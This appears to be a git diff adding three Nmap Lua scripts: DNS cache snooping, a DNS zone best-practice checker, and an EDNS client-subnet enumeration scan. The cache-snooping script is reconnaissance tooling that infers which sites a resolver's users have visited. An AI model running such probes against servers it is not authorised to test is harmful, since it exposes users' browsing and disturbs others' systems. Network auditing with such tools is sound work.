+(www.google.com) several times. Then, each domain is resolved and the
+time taken compared to the mean. If it is less than one standard
+deviation over the mean, it is considered cached. The <code>timed</code>
+mode inserts entries in the cache and can only be used reliably once.
+
+The default list of domains to check consists of the top 50 most popular
+sites, each site being listed twice, once with "www." and once without.
+Use the <code>dns-cache-snoop.domains</code> script argument to use a
+different list.
+]]
+
+---
+-- @args dns-cache-snoop.mode which of two supported snooping methods to
+-- use. <code>nonrecursive</code>, the default, checks if the server
+-- returns results for non-recursive queries. Some servers may disable
+-- this. <code>timed</code> measures the difference in time taken to
+-- resolve cached and non-cached hosts. This mode will pollute the DNS
+-- cache and can only be used once reliably.
+-- @args dns-cache-snoop.domains an array of domain to check in place of
+-- the default list.
+--
+-- @usage
+-- nmap -sU -p 53 --script dns-cache-snoop.nse --script-args 'dns-cache-snoop.mode=timed,dns-cache-snoop.domains={host1,host2,host3}' <target>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 53/udp open domain udp-response
+-- | dns-cache-snoop: 10 of 100 tested domains are cached.
+-- | www.google.com
+-- | facebook.com
+-- | www.facebook.com
+-- | www.youtube.com
+-- | yahoo.com
+-- | twitter.com
+-- | www.twitter.com
+-- | www.google.com.hk
+-- | www.google.co.uk
+-- |_www.linkedin.com
+
+
+author = "Eugene V. Alexeev"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"intrusive", "discovery"}
+
+portrule = shortport.port_or_service(53, "domain", "udp")
+
+local DOMAINS = {}
+local MODE = "nonrecursive"
+-- This domain is used as a default cached entry in timed mode.
+local TIMED_DUMMY_DOMAIN = "www.google.com"
+-- How many samples to collect for the time taken to resolve the dummy domain.
+local TIMED_NUM_SAMPLES = 25
+-- In timed mode, times below mean + TIMED_MULTIPLIER * stddev are
+-- accepted as cached. Using one standard deviation gives us a roughly
+-- 84% chance that a domain with the same response time as the reference
+-- domain will be detected as cached.
+local TIMED_MULTIPLIER = 1.0
+
+-- This list is the first 50 entries of
+-- http://s3.amazonaws.com/alexa-static/top-1m.csv.zip on 2013-08-08.
+local ALEXA_DOMAINS = {
+ "google.com",
+ "facebook.com",
+ "youtube.com",
+ "yahoo.com",
+ "baidu.com",
+ "wikipedia.org",
+ "amazon.com",
+ "qq.com",
+ "live.com",
+ "linkedin.com",
+ "twitter.com",
+ "blogspot.com",
+ "taobao.com",
+ "google.co.in",
+ "bing.com",
+ "yahoo.co.jp",
+ "yandex.ru",
+ "wordpress.com",
+ "sina.com.cn",
+ "vk.com",
+ "ebay.com",
+ "google.de",
+ "tumblr.com",
+ "msn.com",
+ "google.co.uk",
+ "googleusercontent.com",
+ "ask.com",
+ "mail.ru",
+ "google.com.br",
+ "163.com",
+ "google.fr",
+ "pinterest.com",
+ "google.com.hk",
+ "hao123.com",
+ "microsoft.com",
+ "google.co.jp",
+ "xvideos.com",
+ "google.ru",
+ "weibo.com",
+ "craigslist.org",
+ "paypal.com",
+ "instagram.com",
+ "amazon.co.jp",
+ "google.it",
+ "imdb.com",
+ "blogger.com",
+ "google.es",
+ "apple.com",
+ "conduit.com",
+ "sohu.com",
+}
+
+-- Construct the default list of domains.
+for _, domain in ipairs(ALEXA_DOMAINS) do
+ DOMAINS[#DOMAINS + 1] = domain
+ if not string.match(domain, "^www%.") then
+ DOMAINS[#DOMAINS + 1] = "www." .. domain
+ end
+end
+
+local function nonrecursive_mode(host, port, domains)
+ local cached = {}
+
+ for _,domain in ipairs(domains) do
+ if dns.query(domain, {host = host.ip, port = port.number, tries = 0, norecurse=true}) then
+ cached[#cached + 1] = domain
+ end
+ end
+
+ return cached
+end
+
+-- Return the time taken (in seconds) to resolve the given domain, or nil if
+-- it could not be resolved.
+local function timed_query(host, port, domain)
+ local start, stop
+
+ start = nmap.clock_ms()
+ if dns.query(domain, {host = host.ip, port = port.number, tries = 0, norecurse = false}) then
+ stop = nmap.clock_ms()
+ return (stop - start) / 1000
+ else
+ return nil
+ end
+end
+
+local function timed_mode(host, port, domains)
+ local cached = {}
+ local i, t
+
+ -- Insert in the cache.
+ timed_query(host, port, TIMED_DUMMY_DOMAIN)
+
+ -- Measure how long it takes to resolve on average.
+ local times = {}
+ for i = 1, TIMED_NUM_SAMPLES do
+ t = timed_query(host, port, TIMED_DUMMY_DOMAIN)
+ if t then
+ times[#times + 1] = t
+ end
+ end
+ local mean, stddev = formulas.mean_stddev(times)
+ local cutoff = mean + stddev * TIMED_MULTIPLIER
+ stdnse.debug1("reference %s: mean %g stddev %g cutoff %g", TIMED_DUMMY_DOMAIN, mean, stddev, cutoff)
+
+ -- Now try all domains one by one.
+ for _, domain in ipairs(domains) do
+ t = timed_query(host, port, domain)
+ if t then
+ if t < cutoff then
+ stdnse.debug1("%s: %g is cached (cutoff %g)", domain, t, cutoff)
+ cached[#cached + 1] = domain
+ else
+ stdnse.debug1("%s: %g not cached (cutoff %g)", domain, t, cutoff)
+ end
+ end
+ end
+
+ return cached
+end
+
+action = function(host, port)
+ local domains = DOMAINS
+ local mode = MODE
+
+ local args = nmap.registry.args
+ if args then
+ if args["dns-cache-snoop.mode"] then
+ mode = args["dns-cache-snoop.mode"]
+ end
+ if args["dns-cache-snoop.domains"] then
+ domains = args["dns-cache-snoop.domains"]
+ end
+ end
+
+ local cached
+
+ mode = string.lower(mode)
+ if mode == "nonrecursive" then
+ cached = nonrecursive_mode(host, port, domains)
+ elseif mode == "timed" then
+ cached = timed_mode(host, port, domains)
+ else
+ return string.format("Error: \"%s\" is not a known mode. Use \"nonrecursive\" or \"timed\".")
+ end
+
+ if #cached > 0 then
+ nmap.set_port_state(host, port, "open")
+ end
+
+ return string.format("%d of %d tested domains are cached.\n", #cached, #domains) .. table.concat(cached, "\n")
+end
diff --git a/scripts/dns-check-zone.nse b/scripts/dns-check-zone.nse
new file mode 100644
index 0000000..043caca
--- /dev/null
+++ b/scripts/dns-check-zone.nse
@@ -0,0 +1,450 @@
+local dns = require "dns"
+local stdnse = require "stdnse"
+local table = require "table"
+local ipOps = require "ipOps"
+
+description = [[
+Checks DNS zone configuration against best practices, including RFC 1912.
+The configuration checks are divided into categories which each have a number
+of different tests.
+]]
+
+---
+-- @usage
+-- nmap -sn -Pn ns1.example.com --script dns-check-zone --script-args='dns-check-zone.domain=example.com'
+--
+-- @output
+-- | dns-check-zone:
+-- | DNS check results for domain: example.com
+-- | SOA
+-- | PASS - SOA REFRESH
+-- | SOA REFRESH was within recommended range (7200s)
+-- | PASS - SOA RETRY
+-- | SOA RETRY was within recommended range (3600s)
+-- | PASS - SOA EXPIRE
+-- | SOA EXPIRE was within recommended range (1209600s)
+-- | FAIL - SOA MNAME entry check
+-- | SOA MNAME record is NOT listed as DNS server
+-- | PASS - Zone serial numbers
+-- | Zone serials match
+-- | MX
+-- | ERROR - Reverse MX A records
+-- | Failed to retrieve list of mail servers
+-- | NS
+-- | PASS - Recursive queries
+-- | None of the servers allow recursive queries.
+-- | PASS - Multiple name servers
+-- | Server has 2 name servers
+-- | PASS - DNS name server IPs are public
+-- | All DNS IPs were public
+-- | PASS - DNS server response
+-- | All servers respond to DNS queries
+-- | PASS - Missing nameservers reported by parent
+-- | All DNS servers match
+-- | PASS - Missing nameservers reported by your nameservers
+-- |_ All DNS servers match
+--
+-- @args dns-check-zone.domain the dns zone to check
+--
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe", "external"}
+
+local arg_domain = stdnse.get_script_args(SCRIPT_NAME .. '.domain')
+
+
+hostrule = function(host) return ( arg_domain ~= nil ) end
+
+local PROBE_HOST = "scanme.nmap.org"
+
+local Status = {
+ PASS = "PASS",
+ FAIL = "FAIL",
+}
+
+local function isValidSOA(res)
+ if ( not(res) or type(res.answers) ~= "table" or type(res.answers[1].SOA) ~= "table" ) then
+ return false
+ end
+ return true
+end
+
+local dns_checks = {
+
+ ["NS"] = {
+ {
+ desc = "Recursive queries",
+ func = function(domain, server)
+ local status, res = dns.query(domain, { host = server, dtype='NS', retAll = true })
+ local result = {}
+
+ if ( not(status) ) then
+ return false, "Failed to retrieve list of DNS servers"
+ end
+ for _, srv in ipairs(res or {}) do
+ local status, res = dns.query(PROBE_HOST, { host = srv, dtype='A' })
+ if ( status ) then
+ table.insert(result, res)
+ end
+ end
+
+ local output = "None of the servers allow recursive queries."
+ if ( 0 < #result ) then
+ output = ("The following servers allow recursive queries: %s"):format(table.concat(result, ", "))
+ return true, { status = Status.FAIL, output = output }
+ end
+ return true, { status = Status.PASS, output = output }
+ end
+ },
+
+ {
+ desc = "Multiple name servers",
+ func = function(domain, server)
+ local status, res = dns.query(domain, { host = server, dtype='NS', retAll = true })
+
+ if ( not(status) ) then
+ return false, "Failed to retrieve list of DNS servers"
+ end
+
+ local status = Status.FAIL
+ if ( 1 < #res ) then
+ status = Status.PASS
+ end
+ return true, { status = status, output = ("Server has %d name servers"):format(#res) }
+ end
+ },
+
+ {
+ desc = "DNS name server IPs are public",
+ func = function(domain, server)
+
+ local status, res = dns.query(domain, { host = server, dtype='NS', retAll = true })
+ if ( not(status) ) then
+ return false, "Failed to retrieve list of DNS servers"
+ end
+
+ local result = {}
+ for _, srv in ipairs(res or {}) do
+ local status, res = dns.query(srv, { dtype='A', retAll = true })
+ if ( not(status) ) then
+ return false, ("Failed to retrieve IP for DNS: %s"):format(srv)
+ end
+ for _, ip in ipairs(res) do
+ if ( ipOps.isPrivate(ip) ) then
+ table.insert(result, ip)
+ end
+ end
+ end
+
+ local output = "All DNS IPs were public"
+ if ( 0 < #result ) then
+ output = ("The following private IPs were detected: %s"):format(table.concat(result, ", "))
+ status = Status.FAIL
+ else
+ status = Status.PASS
+ end
+
+ return true, { status = status, output = output }
+ end
+ },
+
+ {
+ desc = "DNS server response",
+ func = function(domain, server)
+ local status, res = dns.query(domain, { host = server, dtype='NS', retAll = true })
+ if ( not(status) ) then
+ return false, "Failed to retrieve list of DNS servers"
+ end
+
+ local result = {}
+ for _, srv in ipairs(res or {}) do
+ local status, res = dns.query(domain, { host = srv, dtype='SOA', retPkt = true })
+ if ( not(status) ) then
+ table.insert(result, res)
+ end
+ end
+
+ local output = "All servers respond to DNS queries"
+ if ( 0 < #result ) then
+ output = ("The following servers did not respond to DNS queries: %s"):format(table.concat(result, ", "))
+ return true, { status = Status.FAIL, output = output }
+ end
+ return true, { status = Status.PASS, output = output }
+ end
+ },
+
+ {
+ desc = "Missing nameservers reported by parent",
+ func = function(domain, server)
+ local tld = domain:match("%.(.*)$")
+ local status, res = dns.query(tld, { dtype = "NS", retAll = true })
+ if ( not(status) ) then
+ return false, "Failed to retrieve list of TLD DNS servers"
+ end
+
+ local status, parent_res = dns.query(domain, { host = res, dtype = "NS", retAll = true, retPkt = true, noauth = true } )
+ if ( not(status) ) then
+ return false, "Failed to retrieve a list of parent DNS servers"
+ end
+
+ if ( not(status) or not(parent_res) or type(parent_res.auth) ~= "table" ) then
+ return false, "Failed to retrieve a list of parent DNS servers"
+ end
+
+ local parent_dns = {}
+ for _, auth in ipairs(parent_res.auth) do
+ parent_dns[auth.domain] = true
+ end
+
+ status, res = dns.query(domain, { host = server, dtype = "NS", retAll = true } )
+ if ( not(status) ) then
+ return false, "Failed to retrieve a list of DNS servers"
+ end
+
+ local domain_dns = {}
+ for _,srv in ipairs(res) do domain_dns[srv] = true end
+
+ local result = {}
+ for srv in pairs(domain_dns) do
+ if ( not(parent_dns[srv]) ) then
+ table.insert(result, srv)
+ end
+ end
+
+ if ( 0 < #result ) then
+ local output = ("The following servers were found in the zone, but not in the parent: %s"):format(table.concat(result, ", "))
+ return true, { status = Status.FAIL, output = output }
+ end
+
+ return true, { status = Status.PASS, output = "All DNS servers match" }
+ end,
+ },
+
+
+ {
+ desc = "Missing nameservers reported by your nameservers",
+ func = function(domain, server)
+ local tld = domain:match("%.(.*)$")
+ local status, res = dns.query(tld, { dtype = "NS", retAll = true })
+ if ( not(status) ) then
+ return false, "Failed to retrieve list of TLD DNS servers"
+ end
+
+ local status, parent_res = dns.query(domain, { host = res, dtype = "NS", retAll = true, retPkt = true, noauth = true } )
+ if ( not(status) ) then
+ return false, "Failed to retrieve a list of parent DNS servers"
+ end
+
+ if ( not(status) or not(parent_res) or type(parent_res.auth) ~= "table" ) then
+ return false, "Failed to retrieve a list of parent DNS servers"
+ end
+
+ local parent_dns = {}
+ for _, auth in ipairs(parent_res.auth) do
+ parent_dns[auth.domain] = true
+ end
+
+ status, res = dns.query(domain, { host = server, dtype = "NS", retAll = true } )
+ if ( not(status) ) then
+ return false, "Failed to retrieve a list of DNS servers"
+ end
+
+ local domain_dns = {}
+ for _,srv in ipairs(res) do domain_dns[srv] = true end
+
+ local result = {}
+ for srv in pairs(parent_dns) do
+ if ( not(domain_dns[srv]) ) then
+ table.insert(result, srv)
+ end
+ end
+
+ if ( 0 < #result ) then
+ local output = ("The following servers were found in the parent, but not in the zone: %s"):format(table.concat(result, ", "))
+ return true, { status = Status.FAIL, output = output }
+ end
+
+ return true, { status = Status.PASS, output = "All DNS servers match" }
+ end,
+ },
+
+ },
+
+ ["SOA"] =
+ {
+ {
+ desc = "SOA REFRESH",
+ func = function(domain, server)
+ local status, res = dns.query(domain, { host = server, dtype='SOA', retPkt=true })
+ if ( not(status) or not(isValidSOA(res)) ) then
+ return false, "Failed to retrieve SOA record"
+ end
+
+ local refresh = tonumber(res.answers[1].SOA.refresh)
+ if ( not(refresh) ) then
+ return false, "Failed to retrieve SOA REFRESH"
+ end
+
+ if ( refresh < 1200 or refresh > 43200 ) then
+ return true, { status = Status.FAIL, output = ("SOA REFRESH was NOT within recommended range (%ss)"):format(refresh) }
+ else
+ return true, { status = Status.PASS, output = ("SOA REFRESH was within recommended range (%ss)"):format(refresh) }
+ end
+ end
+ },
+
+ {
+ desc = "SOA RETRY",
+ func = function(domain, server)
+ local status, res = dns.query(domain, { host = server, dtype='SOA', retPkt=true })
+ if ( not(status) or not(isValidSOA(res)) ) then
+ return false, "Failed to retrieve SOA record"
+ end
+
+ local retry = tonumber(res.answers[1].SOA.retry)
+ if ( not(retry) ) then
+ return false, "Failed to retrieve SOA RETRY"
+ end
+
+ if ( retry < 180 ) then
+ return true, { status = Status.FAIL, output = ("SOA RETRY was NOT within recommended range (%ss)"):format(retry) }
+ else
+ return true, { status = Status.PASS, output = ("SOA RETRY was within recommended range (%ss)"):format(retry) }
+ end
+ end
+ },
+
+ {
+ desc = "SOA EXPIRE",
+ func = function(domain, server)
+ local status, res = dns.query(domain, { host = server, dtype='SOA', retPkt=true })
+ if ( not(status) or not(isValidSOA(res)) ) then
+ return false, "Failed to retrieve SOA record"
+ end
+
+ local expire = tonumber(res.answers[1].SOA.expire)
+ if ( not(expire) ) then
+ return false, "Failed to retrieve SOA EXPIRE"
+ end
+
+ if ( expire < 1209600 or expire > 2419200 ) then
+ return true, { status = Status.FAIL, output = ("SOA EXPIRE was NOT within recommended range (%ss)"):format(expire) }
+ else
+ return true, { status = Status.PASS, output = ("SOA EXPIRE was within recommended range (%ss)"):format(expire) }
+ end
+ end
+ },
+
+ {
+ desc = "SOA MNAME entry check",
+ func = function(domain, server)
+ local status, res = dns.query(domain, { host = server, dtype='SOA', retPkt=true })
+ if ( not(status) or not(isValidSOA(res)) ) then
+ return false, "Failed to retrieve SOA record"
+ end
+ local mname = res.answers[1].SOA.mname
+
+ status, res = dns.query(domain, { host = server, dtype='NS', retAll = true })
+ if ( not(status) ) then
+ return false, "Failed to retrieve list of DNS servers"
+ end
+
+ for _, srv in ipairs(res or {}) do
+ if ( srv == mname ) then
+ return true, { status = Status.PASS, output = "SOA MNAME record is listed as DNS server" }
+ end
+ end
+ return true, { status = Status.FAIL, output = "SOA MNAME record is NOT listed as DNS server" }
+ end
+ },
+
+ {
+ desc = "Zone serial numbers",
+ func = function(domain, server)
+ local status, res = dns.query(domain, { host = server, dtype='NS', retAll = true })
+ if ( not(status) ) then
+ return false, "Failed to retrieve list of DNS servers"
+ end
+
+ local result = {}
+ local serial
+
+ for _, srv in ipairs(res or {}) do
+ local status, res = dns.query(domain, { host = srv, dtype='SOA', retPkt = true })
+ if ( not(status) or not(isValidSOA(res)) ) then
+ return false, "Failed to retrieve SOA record"
+ end
+
+ local s = res.answers[1].SOA.serial
+ if ( not(serial) ) then
+ serial = s
+ elseif( serial ~= s ) then
+ return true, { status = Status.FAIL, output = "Different zone serials were detected" }
+ end
+ end
+
+ return true, { status = Status.PASS, output = "Zone serials match" }
+ end,
+ },
+ },
+
+ ["MX"] = {
+
+ {
+ desc = "Reverse MX A records",
+ func = function(domain, server)
+ local status, res = dns.query(domain, { host = server, dtype='MX', retAll = true })
+ if ( not(status) ) then
+ return false, "Failed to retrieve list of mail servers"
+ end
+
+ local result = {}
+ for _, record in ipairs(res or {}) do
+ local prio, mx = record:match("^(%d*):([^:]*)")
+ local ips
+ status, ips = dns.query(mx, { dtype='A', retAll=true })
+ if ( not(status) ) then
+ return false, "Failed to retrieve A records for MX"
+ end
+
+ for _, ip in ipairs(ips) do
+ local status, res = dns.query(dns.reverse(ip), { dtype='PTR' })
+ if ( not(status) ) then
+ table.insert(result, ip)
+ end
+ end
+ end
+
+ local output = "All MX records have PTR records"
+ if ( 0 < #result ) then
+ output = ("The following IPs do not have PTR records: %s"):format(table.concat(result, ", "))
+ return true, { status = Status.FAIL, output = output }
+ end
+ return true, { status = Status.PASS, output = output }
+ end
+ },
+
+ }
+}
+
+action = function(host, port)
+ local server = host.ip
+ local output = { name = ("DNS check results for domain: %s"):format(arg_domain) }
+
+ for group in pairs(dns_checks) do
+ local group_output = { name = group }
+ for _, check in ipairs(dns_checks[group]) do
+ local status, res = check.func(arg_domain, server)
+ if ( status ) then
+ local test_res = ("%s - %s"):format(res.status, check.desc)
+ table.insert(group_output, { name = test_res, res.output })
+ else
+ local test_res = ("ERROR - %s"):format(check.desc)
+ table.insert(group_output, { name = test_res, res })
+ end
+ end
+ table.insert(output, group_output)
+ end
+ return stdnse.format_output(true, output)
+end
diff --git a/scripts/dns-client-subnet-scan.nse b/scripts/dns-client-subnet-scan.nse
new file mode 100644
index 0000000..ce35dc2
--- /dev/null
+++ b/scripts/dns-client-subnet-scan.nse
@@ -0,0 +1,359 @@
+local dns = require "dns"
+local ipOps = require "ipOps"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+description = [[
+Performs a domain lookup using the edns-client-subnet option which
+allows clients to specify the subnet that queries supposedly originate
+from. The script uses this option to supply a number of
+geographically distributed locations in an attempt to enumerate as
+many different address records as possible. The script also supports
+requests using a given subnet.
+
+* https://tools.ietf.org/html/rfc7871
+]]
+
+---
+-- @usage
+-- nmap -sU -p 53 --script dns-client-subnet-scan --script-args \
+-- 'dns-client-subnet-scan.domain=www.example.com, \
+-- dns-client-subnet-scan.address=192.168.0.1 \
+-- [,dns-client-subnet-scan.nameserver=8.8.8.8] \
+-- [,dns-client-subnet-scan.mask=24]' <target>
+-- nmap --script dns-client-subnet-scan --script-args \
+-- 'dns-client-subnet-scan.domain=www.example.com, \
+-- dns-client-subnet-scan.address=192.168.0.1 \
+-- dns-client-subnet-scan.nameserver=8.8.8.8, \
+-- [,dns-client-subnet-scan.mask=24]'
+--
+-- @output
+-- 53/udp open domain udp-response
+-- | dns-client-subnet-scan:
+-- | www.google.com
+-- | 1.2.3.4
+-- | 5.6.7.8
+-- | 9.10.11.12
+-- | 13.14.15.16
+-- | .
+-- | .
+-- |_ .
+---
+-- @args dns-client-subnet-scan.domain The domain to lookup eg. www.example.org
+-- @args dns-client-subnet-scan.address The client subnet address to use
+-- @args dns-client-subnet-scan.mask [optional] The number of bits to use as subnet mask (default: 24)
+-- @args dns-client-subnet-scan.nameserver [optional] nameserver to use. (default = host.ip)
+--
+
+author = "John R. Bond"
+license = "Simplified (2-clause) BSD license--See https://nmap.org/svn/docs/licenses/BSD-simplified"
+categories = {"discovery", "safe"}
+
+
+local argNS = stdnse.get_script_args(SCRIPT_NAME .. '.nameserver')
+local argDomain = stdnse.get_script_args(SCRIPT_NAME .. '.domain')
+local argMask = stdnse.get_script_args(SCRIPT_NAME .. '.mask') or 24
+local argAddr = stdnse.get_script_args(SCRIPT_NAME .. '.address')
+
+prerule = function()
+ return argDomain and nmap.address_family() == "inet"
+end
+
+portrule = function(host, port)
+ if ( nmap.address_family() ~= "inet" ) then
+ return false
+ end
+ if not shortport.port_or_service(53, "domain", {"tcp", "udp"})(host, port) then
+ return false
+ end
+ -- only check tcp if udp is not open or open|filtered
+ if port.protocol == 'tcp' then
+ local tmp_port = nmap.get_port_state(host, {number=port.number, protocol="udp"})
+ if tmp_port then
+ return not string.match(tmp_port.state, '^open')
+ end
+ end
+ return true
+end
+
+local areaIPs = {
+ A4 = {ip=47763456, desc="GB,A4,Bath"},
+ A5 = {ip=1043402336, desc="GB,A5,Biggleswade"},
+ A6 = {ip=1364222182, desc="FR,A6,Chèvremont"},
+ A7 = {ip=35357952, desc="GB,A7,Birmingham"},
+ A8 = {ip=1050694009, desc="FR,A8,Romainville"},
+ A9 = {ip=534257152, desc="FR,A9,Montpellier"},
+ AB = {ip=2156920832, desc="CA,AB,Edmonton"},
+ AK = {ip=202125312, desc="US,AK,Anchorage"},
+ B1 = {ip=1041724648, desc="FR,B1,Robert"},
+ B2 = {ip=35138048, desc="GB,B2,Bournemouth"},
+ B3 = {ip=33949696, desc="FR,B3,Toulouse"},
+ B4 = {ip=1050704998, desc="FR,B4,Lomme"},
+ B5 = {ip=35213312, desc="GB,B5,Wembley"},
+ B6 = {ip=773106752, desc="FR,B6,Amiens"},
+ B7 = {ip=35148800, desc="GB,B7,Bristol"},
+ B8 = {ip=786088496, desc="FR,B8,Valbonne"},
+ B9 = {ip=33753088, desc="FR,B9,Lyon"},
+ BC = {ip=201674096, desc="CA,BC,Victoria"},
+ C1 = {ip=522223616, desc="FR,C1,Strasbourg"},
+ C2 = {ip=41598976, desc="GB,C2,Halifax"},
+ C3 = {ip=534676272, desc="GB,C3,Cambridge"},
+ C5 = {ip=1043410032, desc="GB,C5,Runcorn"},
+ C6 = {ip=773987544, desc="GB,C6,Saltash"},
+ C7 = {ip=35165184, desc="GB,C7,Coventry"},
+ C8 = {ip=35248128, desc="GB,C8,Croydon"},
+ C9 = {ip=1892301824, desc="PH,C9,Iloilo"},
+ D1 = {ip=35414016, desc="GB,D1,Darlington"},
+ D2 = {ip=35164672, desc="GB,D2,Derby"},
+ D3 = {ip=35301376, desc="GB,D3,Chesterfield"},
+ D4 = {ip=1043450424, desc="GB,D4,Barnstaple"},
+ D5 = {ip=2036385792, desc="PH,D5,Legaspi"},
+ D7 = {ip=41451520, desc="GB,D7,Dudley"},
+ D8 = {ip=35279104, desc="GB,D8,Durham"},
+ D9 = {ip=460228608, desc="PH,D9,Manila"},
+ DC = {ip=68514448, desc="US,DC,Washington"},
+ E1 = {ip=1040645056, desc="GB,E1,Beverley"},
+ E2 = {ip=35206912, desc="GB,E2,Brighton"},
+ E3 = {ip=47822848, desc="GB,E3,Enfield"},
+ E4 = {ip=39874560, desc="GB,E4,Colchester"},
+ E5 = {ip=35270656, desc="GB,E5,Gateshead"},
+ E6 = {ip=1368606720, desc="GB,E6,Coleford"},
+ E7 = {ip=1051376056, desc="GB,E7,Woolwich"},
+ E8 = {ip=1044737528, desc="GB,E8,Hackney"},
+ F1 = {ip=1043451648, desc="GB,F1,Hammersmith"},
+ F2 = {ip=35176448, desc="GB,F2,Basingstoke"},
+ F4 = {ip=47998976, desc="GB,F4,Harrow"},
+ F5 = {ip=1040622704, desc="GB,F5,Hart"},
+ F6 = {ip=35230720, desc="GB,F6,Romford"},
+ F8 = {ip=35214848, desc="GB,F8,Watford"},
+ F9 = {ip=41693184, desc="GB,F9,Uxbridge"},
+ G1 = {ip=41437184, desc="GB,G1,Hounslow"},
+ G2 = {ip=35188224, desc="GB,G2,Ryde"},
+ G3 = {ip=41861120, desc="GB,G3,Islington"},
+ G4 = {ip=1040704992, desc="GB,G4,Kensington"},
+ G5 = {ip=41506816, desc="GB,G5,Ashford"},
+ G6 = {ip=786894336, desc="GB,G6,Hull"},
+ G8 = {ip=40112128, desc="GB,G8,Huddersfield"},
+ G9 = {ip=1380217968, desc="GB,G9,Knowsley"},
+ H1 = {ip=1044731464, desc="GB,H1,Lambeth"},
+ H2 = {ip=3512017264, desc="GB,H2,Earby"},
+ H3 = {ip=35221504, desc="GB,H3,Leeds"},
+ H4 = {ip=35158016, desc="GB,H4,Leicester"},
+ H5 = {ip=1043402716, desc="GB,H5,Loughborough"},
+ H6 = {ip=41732608, desc="GB,H6,Catford"},
+ H7 = {ip=41863168, desc="GB,H7,Lincoln"},
+ H8 = {ip=35294976, desc="GB,H8,Liverpool"},
+ H9 = {ip=35196928, desc="GB,H9,London"},
+ I1 = {ip=35253760, desc="GB,I1,Luton"},
+ I2 = {ip=35263488, desc="GB,I2,Manchester"},
+ I3 = {ip=47714304, desc="GB,I3,Rochester"},
+ I4 = {ip=1298651136, desc="GB,I4,Morden"},
+ I5 = {ip=1382961968, desc="GB,I5,Middlesborough"},
+ I8 = {ip=1371219061, desc="GB,I8,Stepney"},
+ I9 = {ip=35282944, desc="GB,I9,Norwich"},
+ IA = {ip=201438272, desc="US,IA,Urbandale"},
+ J1 = {ip=523578880, desc="GB,J1,Daventry"},
+ J2 = {ip=788492344, desc="GB,J2,Grimsby"},
+ J3 = {ip=3282790208, desc="GB,J3,Flixborough"},
+ J5 = {ip=41759232, desc="GB,J5,Wallsend"},
+ J6 = {ip=1043412268, desc="GB,J6,Alnwick"},
+ J7 = {ip=41783296, desc="GB,J7,Harrogate"},
+ J8 = {ip=35160064, desc="GB,J8,Nottingham"},
+ J9 = {ip=47742976, desc="GB,J9,Newark"},
+ JA = {ip=1476096512, desc="RU,JA,Kurilsk"},
+ K1 = {ip=48015360, desc="GB,K1,Oldham"},
+ K2 = {ip=1043402360, desc="GB,K2,Kidlington"},
+ K3 = {ip=39956480, desc="GB,K3,Peterborough"},
+ K4 = {ip=41735168, desc="GB,K4,Plymouth"},
+ K5 = {ip=775747568, desc="GB,K5,Poole"},
+ K6 = {ip=774162844, desc="GB,K6,Portsmouth"},
+ K7 = {ip=41746432, desc="GB,K7,Reading"},
+ K8 = {ip=35229696, desc="GB,K8,Ilford"},
+ L1 = {ip=47773696, desc="GB,L1,Twickenham"},
+ L2 = {ip=48103424, desc="GB,L2,Rochdale"},
+ L3 = {ip=35304192, desc="GB,L3,Rotherham"},
+ L4 = {ip=1043416984, desc="GB,L4,Oakham"},
+ L5 = {ip=772988024, desc="GB,L5,Salford"},
+ L6 = {ip=35336192, desc="GB,L6,Shrewsbury"},
+ L7 = {ip=1043419464, desc="GB,L7,Oldbury"},
+ L8 = {ip=39936000, desc="GB,L8,Lytham"},
+ L9 = {ip=35304448, desc="GB,L9,Sheffield"},
+ M1 = {ip=35384320, desc="GB,M1,Slough"},
+ M2 = {ip=41470976, desc="GB,M2,Solihull"},
+ M4 = {ip=35139584, desc="GB,M4,Southampton"},
+ M5 = {ip=1043402176, desc="GB,M5,Southend-on-sea"},
+ M6 = {ip=773986248, desc="GB,M6,Hill"},
+ M8 = {ip=1443330688, desc="GB,M8,Camberwell"},
+ M9 = {ip=35322880, desc="GB,M9,Stafford"},
+ MB = {ip=1076550400, desc="CA,MB,Winnipeg"},
+ MI = {ip=201393888, desc="US,MI,Saginaw"},
+ N1 = {ip=1318741928, desc="GB,N1,Haydock"},
+ N2 = {ip=35266560, desc="GB,N2,Stockport"},
+ N3 = {ip=41832448, desc="GB,N3,Stockton-on-tees"},
+ N4 = {ip=3231559680, desc="GB,N4,Longport"},
+ N5 = {ip=1043424608, desc="GB,N5,Beccles"},
+ N6 = {ip=35276800, desc="GB,N6,Sunderland"},
+ N7 = {ip=41551872, desc="GB,N7,Tadworth"},
+ N8 = {ip=41697280, desc="GB,N8,Sutton"},
+ N9 = {ip=35252736, desc="GB,N9,Swindon"},
+ NB = {ip=2211053568, desc="CA,NB,Fredericton"},
+ ND = {ip=201473536, desc="US,ND,Bismarck"},
+ NH = {ip=201772808, desc="US,NH,Laconia"},
+ NJ = {ip=201352704, desc="US,NJ,Piscataway"},
+ NS = {ip=3226164992, desc="CA,NS,Halifax"},
+ NT = {ip=3332472320, desc="CA,NT,Yellowknife"},
+ NV = {ip=202261184, desc="US,NV,Henderson"},
+ O2 = {ip=40251392, desc="GB,O2,Telford"},
+ O3 = {ip=35230208, desc="GB,O3,Grays"},
+ O4 = {ip=35318784, desc="GB,O4,Torquay"},
+ O5 = {ip=1368498352, desc="GB,O5,Poplar"},
+ O6 = {ip=1546138112, desc="GB,O6,Stretford"},
+ O7 = {ip=35219456, desc="GB,O7,Wakefield"},
+ O8 = {ip=35321856, desc="GB,O8,Walsall"},
+ O9 = {ip=1359108248, desc="GB,O9,Walthamstow"},
+ ON = {ip=201620304, desc="CA,ON,Ottawa"},
+ P1 = {ip=1043431736, desc="GB,P1,Wandsworth"},
+ P2 = {ip=35260416, desc="GB,P2,Warrington"},
+ P3 = {ip=41766912, desc="GB,P3,Nuneaton"},
+ P4 = {ip=41893888, desc="GB,P4,Newbury"},
+ P5 = {ip=772987648, desc="GB,P5,Westminster"},
+ P7 = {ip=41466624, desc="GB,P7,Wigan"},
+ P8 = {ip=48087808, desc="GB,P8,Salisbury"},
+ P9 = {ip=41793536, desc="GB,P9,Maidenhead"},
+ Q1 = {ip=41457664, desc="GB,Q1,Wallasey"},
+ Q2 = {ip=1040739840, desc="GB,Q2,Wokingham"},
+ Q3 = {ip=35323392, desc="GB,Q3,Wolverhampton"},
+ Q4 = {ip=539624744, desc="GB,Q4,Redditch"},
